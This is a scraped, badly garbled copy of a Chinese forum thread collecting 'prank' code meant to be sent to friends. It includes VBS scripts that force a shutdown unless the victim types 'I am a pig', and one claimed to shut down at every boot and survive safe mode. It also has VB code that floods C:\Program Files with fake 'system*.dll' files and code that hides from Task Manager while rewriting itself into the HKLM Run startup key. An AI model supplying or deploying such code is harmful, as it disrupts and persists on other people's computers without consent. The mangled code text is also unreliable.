C 语言整人代码大全Word文档下载推荐.docx
《C 语言整人代码大全Word文档下载推荐.docx》由会员分享，可在线阅读，更多相关《C 语言整人代码大全Word文档下载推荐.docx（12页珍藏版）》请在冰豆网上搜索。
还剩38下"
还剩37下"
还剩36下"
还剩35下"
还剩34下"
还剩33下"
还剩32下"
还剩30下"
还剩29下"
还剩28下"
还剩27下"
还剩26下"
还剩25下"
还剩24下"
还剩23下"
还剩22下"
还剩21下"
还剩20下"
还剩19下"
还剩18下"
还剩17下"
还剩16下"
还剩15下"
还剩14下"
还剩13下停停！
！
慢点，我有话要说"
还剩12下，你继续点我就会消失滴"
还剩11下，以后就看不到我拉。
555555"
还剩10下，你现在可以选择停止！
还剩9下。
你还点啊，不要我拉？
还剩8下，有点伤心拉，干嘛丢弃人家"
还剩7下。
疯了，你有点负意！
还剩6下。
对。
你就点吧，我恨你！
还剩5下，不明白，删除我你就好吗？
还剩4下！
真要删除我？
还剩3下。
可是我真的很眷恋你。
。
还剩2下。
不要这么绝情嘛，人家是爱你
的！
还剩1下。
哼，既然你这么绝情。
也别怪我无
义！
我本因该消失的，不过我留恋你滴芳容，上帝
又给了一次机会。
想结素我么?
那你就再多点一次"
两个整人的VBS脚本
测试环境：
Windows2003系统
大家好我是VanlisaQQ137841986
今天给大家带来两个整人的VBS脚本希望大家喜欢
VBS脚本大家都知道吧第一个是定时关机的
如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
onerrorresumenext
dimWSHshellA
3楼
setWSHshellA=wscript.createobject（"
wscript.shell"
WSHshellA.run"
cmd.exe/cshutdown-r-t180-c"
说我是猪，不说我是猪就一分钟关机，不信，试下·
·
"
0,true
dima
dowhile（a<
>
我是猪"
a=inputbox（"
说我是猪,就不关机，快撒，说"
"
说不说"
8000,7000）
msgboxchr（13）+chr（13）+chr（13）+a,0,"
MsgBox"
loop
msgboxchr（13）+chr（13）+chr（13）+"
早说就行了嘛"
dimWSHshell
setWSHshell=wscript.createobject（"
WSHshell.run"
cmd.exe/cshutdown-a"
哈哈哈哈，好乖"
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe/cshutdown-r-t180-c
这里的数字可以修改关机时间180秒
这些文字也可以自设这个脚本启用cmd里的关机程序
如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已
经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK
了这时就完全解除这个脚本了Wscript时Windows脚本宿主
-------------------------------------------------------------------------------------------
下面看第二个整人的脚本
setws=createobject（"
）
callshutdown
（1）
dowhilea<
a=inputbox（"
快在下面的框框里输入我是猪,否则后果自负，快输"
输不输"
loop
callshutdown
（2）
msgbox"
4096+64
msgbox"
再输一遍我是猪!
我是猪!
最后一次!
如果你很快的点过去,不看的话"
我就要你踩我空间的!
哼!
从前有座山!
山里有个庙."
庙里有个老和尚在讲故事."
ws.run"
iexplore.exe
哎呀累了！
数绵羊哄我睡觉"
fori=1to100
MsgBoxi&
只绵羊"
next
哎呀我困了，这次就饶过你吧，下次注意哦!
最后问个问题，我是不是大好人！
ifinputbox（"
是不是"
请选择"
是"
）<
then
endif
subshutdown（s）
selectcases
case1
cmd.exe/cshutdown-r-t60-c"
0
case2
endselect
endsub
iexplore.exe
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去点到你设定的数字
从1到100
可以改成20其他的数字
解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe
这个进程就好了
[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBS格式，
4楼
此代码的威力：
1：
开机就强制自动关机
2：
cmd命令打不开
3：
结束任务不管用
4：
F8安全模式也不管用
呵呵！
听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：
就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
PS：
不要乱拿软件去整人，发生什么事可不要怪我啊。
拍拍手顶起吧！
网页整人效果代码
想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
<
html>
head>
metahttp-equiv="
Content-Type"
content="
text/html;
charset=gb2312"
title>
网页特效|L
/head>
body>
ahref="
onMouseover="
alert（'
为什么把鼠标放到这里?
'
）;
我不是说过不可以这样吗？
你把我的话当什么了？
你知道错了吗？
什么？
你居然....'
居然还没意识到自己做错了？
那好，你要为此付出代价!
我要你在这里点足一千下......'
你开始有点后悔了？
何必呢？
你当初干什么去了？
不原谅你！
好从现在开始再点995下......'
你的手开始累了吗?
你已经没力气了？
你一直在求我原谅你啊！
看来你是真的知道错了!
下次你还会这么做吗？
真的不会了？
那好，今天就放你一马！
写封信给我说声对不起!
你能这么做我很高兴!
!
document.bgColor='
black'
;
document.fgColor='
White'
window.location.href='
mailto:
mygod@god?
subject=对不起,下次不敢了!
不许把鼠标移到这里<
/a>
嘻试吧爽噢。
vbs整人代码
代码如下：
PrivateSubForm_Load（）
Me.Hide
EndSub
PrivateSubTimer1_Timer（）
声明变量，其中“count”为静态变量，以便生成不同的文件
DimfilesAsString
DimnrAsString
DimcAsString
StaticcountAsLong
定义要把生成的文件存放在那个目录文件下
c="
C:
\ProgramFiles\"
生成文件的内容
nr="
哈哈，被黑的感觉的不错吧"
files=FreeFile
如果a等于a那么就执行
Ifa=aThen
count不断的加1，以便产生不同的文件名
count=count+1
产生文件名及文件句柄，并用count作为产生不同的文件名。
Openc&
system"
&
count&
.dll"
ForAppendAs#files
向文件写内容
Write#files,nr
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close#files
EndIf
扯淡丶
虞冷暖丶
5楼
vbs是咩啊
48回复
6楼
是VB？
49回复
7楼
VBScript
51回复
8楼
引用电白自学（7楼）VBScript
区别？
举报|2011-06-0121:
19回复
9楼
VBScript（MicrosoftVisualBasicScriptEditon）.，微软公司可视化BASIC脚本版）.正如其字面所透露的信息,VBS（VBScript的进一步简写）是基于VisualBasic的脚本语言...............直接从百科拉来的--
23回复
112.3.254.*10楼
你妈的死垃圾！
举报|2011-06-0212:
03回复
Angel_天一色丶
11楼
就楼主会一点其他的没几个会的都不知道哪里抄的
举报|2011-10-0618:
34回复
安纾毅
12楼
我去。
真是。
绝了、
举报|2011-12-1700:
37回复
218.13.32.*13楼
举报|2011-12-2208:
41回复
QQ97000946
14楼
以下代码危险，请谨慎添加！
Form1.Visible=False'
隐藏窗体
App.TaskVisible=False'
在任务管理器中隐藏应用程序（不能隐藏进程）
Timer2.“”=100'
“”中的代码我忘了，不过你懂的
PrivateSubTimer2_Timer（）
i=i+1
ifi=1then'
每0.1秒将自己写入开机启动注册表
SetW=CreateObject（"
onerrorresumenext'
忽略错误
W.regwrite"
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
_
App.EXEName,App.Path&
\"
App.EXEName&
.exe"
i=0
endsub
升级会员 